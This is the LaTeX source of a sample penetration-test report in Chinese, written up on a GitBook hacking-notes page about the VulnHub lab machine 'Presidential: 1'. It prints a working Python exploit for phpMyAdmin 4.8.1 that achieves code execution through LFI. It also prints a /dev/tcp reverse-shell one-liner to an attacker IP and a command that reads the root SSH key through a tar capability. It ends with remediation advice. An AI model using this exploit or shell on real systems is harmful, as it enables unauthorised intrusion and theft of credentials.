> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/useful-resources/reporting/report-1-presidential-writeup-latex.md).

# 报告 1 - Presidential LaTeX 报告

{% hint style="warning" %}
以下是一个技术专业报告的示例，模拟我在 Orange Cyberdefense 工作，内容涉及环境与公司审计“[总统](/zh/writeups-ctf/vulnhub/linux-vulnhub/presidential-1-vulnhub-writeup.md)”。在此次分析中，我使用了一台预配置的 VulnHub 主机，其存在 Web 漏洞和权限提升风险。

该报告使用以下工具编写： [LaTeX](https://www.overleaf.com/) 软件。它以技术复杂性著称，但也因其实用性强、能够以高度自定义的方式生成专业质量的报告而广受认可。下面将给出用于说明此示例的 LaTeX 代码和 PDF 文件。
{% endhint %}

{% file src="/files/15a067053b8a635d06e42f32d2f85485cc5f4631" %}

<div data-full-width="false"><figure><img src="/files/a6387dfa706fa0156baa1183010df5c3e5055655" alt=""><figcaption></figcaption></figure></div>

<details>

<summary>设置从 LaTeX 生成 PDF 文件的环境：</summary>

1. 检查 PDF 文件的默认应用程序：

```bash
xdg-mime query default application/pdf
```

2. 将默认应用程序设置为 Zathura，用于 PDF 文件：

```bash
xdg-mime default zathura.desktop application/pdf
```

3. 为你的文档创建 .tex 文件：

```bash
touch presidential.tex
```

4. 编译文档：

```bash
latexmk -pdf presidential.tex -pvc
```

<img src="/files/c54385baee600ce5771ac12126d3e5fad90ebf81" alt="" data-size="original">

</details>

{% code fullWidth="true" %}

```latex
/documentclass[a4paper]{article}

% 宏包
/usepackage[utf8]{inputenc} % 使用 UTF-8 对文本进行编码
/usepackage[english]{babel} % 英语语言
/usepackage[margin=2cm, top=2cm, includefoot]{geometry} % 页面布局
/usepackage{graphicx} % 用于插入图片
/usepackage[table,xcdraw]{xcolor} % 颜色
/usepackage{tikz,lipsum,lmodern} % 绘图
/usepackage[most]{tcolorbox} % 自定义框
/usepackage{fancyhdr} % 页眉和页脚
/usepackage[hidelinks]{hyperref} % 超链接
/usepackage{setspace} % 行间距
/usepackage{listings} % 源代码显示
/setstretch{1.2} % 行距
/usepackage{parskip} % 段落间距
/setlength{/parindent}{0pt} % 无段落缩进
/setlength{/parskip}{0.8em plus 0.5em minus 0.2em} % 段落间距
/setlength{/parfillskip}{/parindent plus 1fill} % 文本对齐
/usepackage[figurename=Figure]{caption} % 图题标签
/usepackage{ragged2e} % 文本对齐

% 变量
/newcommand{/logoPortada}{Images/vulnhub.png}
/newcommand{/machineName}{Presidential: 1}
/newcommand{/logoMachine}{Images/casablanca.jpg}
/newcommand{/startDate}{2024年2月21日}
/newcommand{/logoCompany}{Images/orange-company.png}
/newcommand{/logoPlatform}{Images/platform-vulnhub.png}

% 颜色
/definecolor{bluePortada}{HTML}{146c8a}

% 标题自定义
/addto/captionsenglish{/renewcommand{/contentsname}{目录}}

% 页眉和页脚
/setlength{/headheight}{40.2pt}
/pagestyle{fancy}
/fancyhf{}
/lhead{/includegraphics[width=4cm]{/logoCompany}} % 公司标志位于页眉左侧
/rhead{/includegraphics[height=1.2cm]{/logoPlatform}} % 平台标志位于页眉右侧
/renewcommand{/headrulewidth}{3pt} % 页眉线宽
/renewcommand{/headrule}{/hbox to/headwidth{/color{orange}/leaders/hrule height /headrulewidth/hfill}} % 页眉线颜色

% 源代码标题配置
/renewcommand{/lstlistingname}{代码}

% 源代码样式
/definecolor{codegreen}{rgb}{0,0.6,0}
/definecolor{codegray}{rgb}{0.5,0.5,0.5}
/definecolor{codepurple}{rgb}{0.58,0,0.82}
/definecolor{backcolour}{rgb}{0.95,0.95,0.92}

/newtcolorbox{definicion}{
  可分页,
  增强型,
  colback=white,
  colframe=bluePortada!75!black,
  arc=0mm,
  boxrule=1pt,
  leftrule=12mm,
  fonttitle=/bfseries,
  coltitle=blue!75!black,
  title=定义,
  attach title to upper=/par,
}

/lstdefinestyle{mystyle}{
    backgroundcolor=/color{backcolour},   
    commentstyle=/color{codegreen}, % 注释颜色
    keywordstyle=/color{magenta}, % 关键字颜色
    numberstyle=/tiny/color{codegray}, % 行号样式
    stringstyle=/color{codepurple}, % 字符串颜色
    basicstyle=/ttfamily/footnotesize, % 基本文本样式
    breakatwhitespace=false,         
    breaklines=true,                 
    captionpos=b,                    
    keepspaces=true,                 
    numbers=left,                    
    numbersep=5pt,                  
    showspaces=false,                
    showstringspaces=false,
    showtabs=false,                  
    tabsize=2
}

/lstset{style=mystyle} % 全局代码样式配置

% 文档开始
/begin{document}
/cfoot{/thepage} % 带页码的页脚
  /begin{titlepage} % 封面页
      /centering
      /includegraphics[width=0.5/textwidth]{/logoPortada}/par/vspace{1cm} % 封面页标志
{/scshape/LARGE /textbf{技术报告}/par/vspace{0.4cm}} % 报告标题
{/Huge/textcolor{bluePortada}{/textbf{机器 /machineName}}} % 机器名称
      /vfill
/includegraphics[width=/textwidth, height=10cm, keepaspectratio]{/logoMachine} % 机器图片
      /vfill
/begin{tcolorbox}[colback=red!5!white,colframe=red!75!black] % 隐私框
    /centering
本文件为机密文件，包含敏感信息。// 不应打印或与第三方共享。
  /end{tcolorbox}
  /vfill
{/large /startDate/par} % 报告日期
  /vfill
  /end{titlepage}
% ------------------------------------------------------------------
% 目录开始
/clearpage
/tableofcontents % 目录
/clearpage

/section{背景}
本文档介绍在对机器 /textbf{/machineName} 进行审计阶段所获得的结果，列出了发现的所有攻击向量以及针对每个向量执行的利用过程。

该机器从 /href{https://www.vulnhub.com/}{/textbf{/color{bluePortada}Vulnhub}} 平台下载，这是一个面向对计算机安全和道德黑客感兴趣的人士的训练与实践平台。下面提供了该机器的下载链接：

/vspace{0.2cm}

/begin{tcolorbox}[enhanced,attach boxed title to top center={yshift=-3mm,yshifttext=-1mm},
colback=orange!5!,colframe=orange!75!black,colbacktitle=orange!80!black,
title=目标 URL,fonttitle=/bfseries,
boxed title style={size=small,colframe=black!50!orange} ]
/centering
/href{https://www.vulnhub.com/entry/presidential-1,500/}{/textbf{/color{black}https://www.vulnhub.com/entry/presidential-1,500}}

/end{tcolorbox}

/vspace{0.5cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/presidential-image.png}}
/caption{机器 Web 服务首页}
/end{figure}
/vspace{1cm}
/section {目标}
本次安全审计的目标是识别机器 /textbf{/color{bluePortada}/machineName} 上可能存在的漏洞和弱点，旨在保证其所存储信息的完整性和保密性。

为此，对该服务器上暴露的所有已检测服务进行了详尽分析，收集了那些从安全角度看存在潜在风险的服务的详细信息。
/clearpage

/subsection{范围}

本次审计要实现的目标如下：

/begin{itemize}
/item 识别存在漏洞的端口和服务。
/item 利用已识别的漏洞。
/item 通过利用已识别的有漏洞服务获取对服务器的访问权限。
/item 在系统被攻陷后，列出可能用于提升权限的途径。
/end{itemize}

/subsection{约束与限制}

在审计过程中，严格禁止执行以下任何活动：

/begin{itemize}
/item 执行可能导致 /textbf{拒绝服务} 或影响已暴露服务可用性的任务。
/item 在服务器被攻陷后删除驻留文件。
/end{itemize}

/subsection{总体摘要}

本次审计揭示了多项严重安全漏洞，危及服务器上托管信息的完整性和保密性。从暴露敏感备份文件到利用 phpMyAdmin 中的关键漏洞，已发现该服务器易受多种攻击。

识别子域名、枚举暴露服务以及利用弱认证面板，是本次审计中实施攻击的关键入口点。

必须立即采取行动来修复这些漏洞并降低安全风险。强烈建议将 phpMyAdmin 更新到最新版本，并实施额外的安全措施，例如限制对敏感文件的访问，以及在暴露的 Web 应用中实施适当的输入过滤。

总之，本次审计强调了维持主动式系统安全态势的重要性，即通过定期审计、应用安全补丁并遵循网络安全最佳实践来保护组织的数字资产。

/clearpage
/section{侦察}
/subsection{已暴露服务的枚举}
下面给出了使用 /textbf{nmap} 工具进行侦察时识别出的端口和服务的证明：
/vspace{0.3cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/ports.png}}
/caption{使用 nmap 进行端口枚举}
/end{figure}

/vspace{0.3cm}
在本例中，使用 TCP 协议识别出了两个活动端口：

/vspace{0.5cm}
/centering
/begin{tikzpicture}[node distance=2cm, every node/.style={rectangle, draw, fill=white}]

/node (center) {TCP};
/node (port1) [below left of=center, node distance=3cm] {端口 80};
/node (port2) [below right of=center, node distance=3cm] {端口 2082};
/draw (center) -- (port1);
/draw (center) -- (port2);

/end{tikzpicture}

/vspace{0.5cm}
/justifying

同样，未发现通过其他协议暴露的端口，因此优先评估在首次扫描中识别出的端口。

/clearpage
/subsection{Web 服务器枚举}

以下是使用 /textbf{WhatWeb} 工具获得的结果。该工具是一种 Web 侦察工具，用于识别网站所使用的特定 Web 技术；在对 80 端口上运行的 HTTP 服务进行侦察后得到了这些结果。

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/makebox[/textwidth]{/fbox{/includegraphics[width=0.90/paperwidth]{Images/whatweb.png}}}
/caption{80 端口 HTTP 服务枚举}
/end{figure}

所获得的结果使得可以识别一些现有技术的版本：

/vspace{0.4cm}

/centering
/begin{tabular}{ c | c }
/textbf{技术} & /textbf{版本} //
/hline
PHP & 5.5.38 //
Apache & 2.4.6
/end{tabular}
/vspace{0.4cm}

/justifying

在提供的信息中，还能识别出 2 个电子邮件地址，它们可用于 /textbf{网络钓鱼} 攻击：

/vspace{0.3cm}
/begin{center}
/texttt{contact@example.com} /qquad /texttt{contact@votenow.local}
/end{center}

/textbf{网络钓鱼} 是一种计算机攻击类型，旨在欺骗个人以获取密码、银行信息或信用卡信息等机密资料。攻击通过发送看似合法的欺诈电子邮件或短信来实施，并要求收件人提供个人和机密信息。

此外，通过使用 /textbf{wig} 工具对 Web 服务进行详尽识别，也成功识别出了当前活动的 /textbf{Centos} 版本。

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/wig-results.png}}
/caption{80 端口 HTTP 服务枚举}
/end{figure}
/clearpage

/subsection{子域名枚举}
一旦通过电子邮件识别出域名 '/textbf{votenow.local}'，便对主域名进行了暴力破解攻击，目的是识别有效的子域名。

完成暴力破解攻击后，得到以下结果：

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/subdomain.png}}
/caption{使用 Gobuster 识别出的子域名}
/label{fig:identifiedSubdomains}
/end{figure}

/vspace{0.3cm}
子域名 '/textbf{datasafe.votenow.local}' 被识别为有效子域名。这个子域名在审计中起到了关键作用，因为正是通过它，利用 /textbf{phpMyAdmin} 中存在的漏洞获得了系统访问权限。

请注意，为了使这些域名和子域名可以访问，有必要在 '/textbf{/etc/hosts}' 文件中添加以下内容：

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.8/textwidth]{Images/virtualHosting.png}}
/caption{/etc/hosts 文件内容}
/end{figure}
/vspace{0.3cm}
这是由于应用了 '/textbf{虚拟主机}'。这是一种在 Web 服务器上托管多个网站于单台物理机器上的技术。'/textbf{/etc/hosts}' 文件用于将每个网站的域名与服务器的 IP 地址关联起来。

如果没有这种关联，Web 服务器将无法确定要提供哪个正确的网站，从而导致错误或显示错误的网站。
/clearpage
/subsection{认证面板枚举}
一旦发现子域名 '/textbf{datasafe.votenow.local}'，如第 /pageref{fig:identifiedSubdomains} 页上的图 /ref{fig:identifiedSubdomains} 所示，便找到了以下 /textbf{phpMyAdmin} 认证面板：

/vspace{0.3cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/PhpMyAdmin.png}}
/caption{phpMyAdmin 认证面板}
/label{fig:PhpMyAdmin}
/end{figure}

/section{漏洞识别与利用}
/subsection{暴露备份文件}

在使用 /textbf{gobuster} 工具进行侦察阶段时，这是一款开源的命令行工具，用于在服务器和网站上搜索并枚举 Web 资源，发现服务器上存在一个暴露的备份文件：

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/BackUp.png}}
/caption{服务器上暴露的备份文件}
/end{figure}

/clearpage

该文件被上传以检查其中是否包含可能构成安全风险的敏感信息。在这一点上，确认该文件包含以下特权信息：

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/credentials.png}}
/caption{credentials BackUp 文件的内容}
/end{figure}

这些标识符对应于数据库访问标识符，由于用户名和密码被重复使用，因此可以访问 /textbf{phpMyAdmin}，如第 /pageref{fig:phpMyAdmin} 页上的图 /ref{fig:phpMyAdmin} 所示。
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/phpmyadminIN.png}}
/caption{连接到 phpMyAdmin 控制界面}
/end{figure}

/clearpage
/subsection{phpMyAdmin 利用}
登录 /textbf{phpMyAdmin} 后，便可识别当前使用的版本：

/vspace{0.3cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.67/textwidth]{Images/versionPhpMyAdmin.png}}
/caption {所使用的 phpMyAdmin 版本}
/end{figure}

/vspace{0.3cm}
该版本对应于 /textbf{旧版本} 的 phpMyAdmin，因此暴露出若干已识别的 /textbf{严重漏洞}：

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/searchExploit.png}}
/caption {所使用的 phpMyAdmin 版本存在的漏洞}
/end{figure}


/clearpage
其中一个漏洞允许恶意攻击者在服务器上 /textbf{远程执行代码}。

接下来，以下是用于在服务器上执行远程命令的 Python3 脚本：

/vspace{0.3cm}

/begin{lstlisting}[language=Python, caption=易受攻击的 phpMyAdmin 版本利用脚本]
#!/usr/bin/python3

import re, requests, sys

def get_token(content):
  s = re.search('token"/s*value="(.*?)"', content)
  token = html.unescape(s.group(1))
  return token

ipaddr = sys.argv[1]
port = sys.argv[2]
path = sys.argv[3]
username = sys.argv[4]
password = sys.argv[5]
command = sys.argv[6]

url = "http://{}:{}{}".format(ipaddr,port,path)

url1 = url + "/index.php"
r = requests.get(url1)
content = r.content.decode('utf-8')

s = re.search('PMA_VERSION:"(/d+/./d+/./d+)"', content)
version = s.group(1)

cookies = r.cookies
token = get_token(content)

p = {'token': token, 'pma_username': username, 'pma_password': password}
r = requests.post(url1, cookies = cookies, data = p)
content = r.content.decode('utf-8')
s = re.search('logged_in:(/w+),', content)
logged_in = s.group(1)

cookies = r.cookies
token = get_token(content)

url2 = url + "/import.php"
payload = '''select '<?php system("{}") ?>';'''.format(command)
p = {'table':'', 'token': token, 'sql_query': payload }
r = requests.post(url2, cookies = cookies, data = p)

session_id = cookies.get_dict()['phpMyAdmin']
url3 = url + "/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_{}".format(session_id)
r = requests.get(url3, cookies = cookies)

content = r.content.decode('utf-8', errors="replace")
s = re.search("select '(.*?)/n'", content, re.DOTALL)
if s != None:
  print(s.group(1))
/end{lstlisting}

/clearpage
在执行并注入允许进入系统的命令后，已获得对服务器的访问权限：

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.85/textwidth]{Images/rce.png}}
/caption {通过利用 phpMyAdmin 获得对服务器的访问}
/end{figure}

在此情况下，通过 '/textbf{curl}' 执行一条命令，并解析其中包含以下内容的 Bash 脚本：

/vspace{0.3cm}
/begin{lstlisting}[language=Bash, caption=负责建立连接的 Bash 脚本]
bash -i >& /dev/tcp/192.168.71.128/443 0>&1
/end{lstlisting}

该脚本托管在攻击者的服务器上，从而避免在目标服务器上留下残余文件。一旦命令执行，攻击者便可访问服务器，在本例中以 '/textbf{apache}' 用户身份控制该机器。

如脚本所示，本质上发生的是该脚本利用此版本 phpMyAdmin 中存在的 /textbf{LFI} 漏洞来实现远程命令执行：

/vspace{0.3cm}
/begin{lstlisting}[language=Python, caption=与 LFI 利用相关的代码片段]
session_id = cookies.get_dict()['phpMyAdmin']
url3 = url + "/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_{}".format(session_id)
r = requests.get(url3, cookies = cookies)
/end{lstlisting}
/vspace{0.3cm}
/begin{definicion}
LFI（本地文件包含）是一种 Web 应用中的安全漏洞，允许攻击者通过在网页中包含本地文件来访问服务器上的本地文件。
/end{definicion}
/clearpage

通过 LFI，我们获得了关于存储会话的 PHP 资源的信息，这些信息与用户端的不同活动会话相关。

通过利用这种读取方式以及用户自身会话，我们使用 /textbf{SQL 查询} 插入一条包含 PHP 代码的查询，该代码可通过 LFI 从用户会话文件中看到。因此这会导致远程命令执行，因为该 PHP 代码不会被服务器解释执行。

/section{权限提升}
一旦整个系统被攻陷，主要目标就是在服务器上获得尽可能高的权限。目的是提升我们的权限，并获得对所有暴露服务的更大控制和访问能力。
/subsection{迁移到 Administrator 用户}
在服务器上存在一个 Administrator 用户，看起来配置良好，因为我们从 apache 用户那里获得了 /textbf{受限访问}。
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.85/textwidth]{Images/directori-admin.png}}
/caption {拒绝访问 Admin 主目录}
/end{figure}

然而，在之前被攻陷的数据库中，出现了一个与该用户同名的哈希密码。对用户重复使用密码是非常严重的问题，在这种情况下会导致用户直接迁移。
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/hash-password.png}}
/caption {存储在管理员用户数据库中的哈希密码}
/end{figure}
/clearpage
/subsection{破解暴露的 admin 用户哈希密码}
由于密码是哈希过的，我们将使用 '/textbf{john}' 工具来破解 admin 密码的哈希，以便解密并以明文查看。在本例中，使用了一个包含一千多万种不同组合的字典，而且由于该密码并不复杂，该工具只用了几分钟就破解并暴露了它。
/vspace{0.2cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.80/textwidth]{Images/pass-cracked.png}}
/caption {管理员用户解密后的明文密码}
/end{figure}
/vspace{0.3cm}
/newline 能够迁移到 admin 用户，是由于数据库和系统用户中 admin 用户使用了 /textbf{相同密码}。这是一种不良做法，建议每项不同的服务都使用不同密码，以避免像本例这样的严重问题。
/vspace{0.2cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.80/textwidth]{Images/admin-access.png}}
/caption {访问特权用户 admin 目录}
/end{figure}
/clearpage
/subsection{暴露 SSH 密钥的权限能力漏洞}
/vspace{0.3cm}
/begin{definicion}
Linux 中的 capabilities 是一种安全机制，它为程序授予特定权限，使其能够执行受限操作，而无需授予完整的 root 访问权限。
/end{definicion}
在本例中，发现了一个能力权限，允许使用 tarS 工具查看系统上的所有文件，而不受任何规则或阻止，因为这些操作是以 root 用户身份执行的。利用该权限，root 用户的 /textbf{SSH 私钥} 可以通过以下命令列出：

/vspace{0.3cm}
/begin{lstlisting}[language=Bash, caption=]
tarS -cvf id_rsa.tar /root/.ssh/id_rsa
/end{lstlisting}
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/makebox[/textwidth]{/fbox{/includegraphics[width=0.50/paperwidth]{Images/ssh-clave.png}}}
/caption {root 用户的 SSH 私钥}
/end{figure}
/subsection{系统 root 访问}
最终，已获得该机器的 root 权限访问。现在迫切需要移除 tarS 工具的该能力，并寻找一种不会导致这种权限提升的替代方案。
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/makebox[/textwidth]{/fbox{/includegraphics[width=0.60/paperwidth]{Images/flag-root.png}}}
/caption {获取 root 用户 flag}
/end{figure}
/clearpage
/section{对策与最佳实践}

为了避免对暴露的服务器进行可能不受欢迎的利用，下面列出了针对所发现各类漏洞应遵循的最佳实践。

/subsection{phpMyAdmin 4.8.1 漏洞}
phpMyAdmin 是一款通过 Web 界面管理 MySQL 数据库的流行工具。然而，phpMyAdmin 4.8.1 版本存在已知漏洞，可能允许攻击者在其托管的 Web 服务器上执行任意代码。

要修复该漏洞，需要 /textbf{更新} 到最新版本的 phpMyAdmin（当前为 5.2.1 版本）。如果由于某种原因无法更新到最新版本，可以采取以下一些措施来降低利用风险：
/begin{itemize}
/item 修正脚本 '/textbf{index.php}' 的代码，使用户提供的变量 '/textbf{target}' 得到正确控制。
/end{itemize}
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.85/textwidth]{Images/lfi_in_code.png}}
/caption {易受攻击的目标参数}
/end{figure}

/begin{itemize}
/item 不要允许用户指定任何要包含的文件，而是定义一个允许文件列表，并在包含该文件之前验证传递给 '/textbf{target}' 参数的值是否在该列表中。
/end{itemize}

/subsection{Capabilities 提权}
首先，移除 tarS 工具的能力。要修复并检查某个服务或工具是否存在这种权限提升漏洞，你可以访问以下网站，其中包含一个搜索引擎，收录了该主题下所有可能的漏洞：
/vspace{0.3cm}

/begin{tcolorbox}[enhanced,attach boxed title to top center={yshift=-3mm,yshifttext=-1mm},
colback=orange!5!,colframe=orange!75!black,colbacktitle=orange!80!black,
title=目标 URL,fonttitle=/bfseries,
boxed title style={size=small,colframe=black!50!orange} ]
/centering
/href{https://gtfobins.github.io/}{/textbf{/color{black}https://gtfobins.github.io}}
/end{tcolorbox}

/clearpage
/section{结论}
对 /textbf{Presidential: 1} 主机进行的安全审计揭示了一系列危及服务器上托管信息完整性和机密性的严重漏洞。从泄露敏感文件到利用 phpMyAdmin 中的漏洞，已凸显出保持所有系统组件为最新版本并遵循良好安全实践的重要性。

成功利用 phpMyAdmin 中的漏洞使攻击者能够访问服务器并将其权限提升至管理员用户，从而危及整个系统。这凸显了实施主动安全措施的重要性，例如定期更新软件、妥善管理密码以及持续监控服务器。

为防范未来的攻击，强烈建议实施前述对策并遵循网络安全最佳实践。安全必须始终作为一项优先关注事项，以确保数字资产的保护和业务连续性。

/end{document}
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/useful-resources/reporting/report-1-presidential-writeup-latex.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
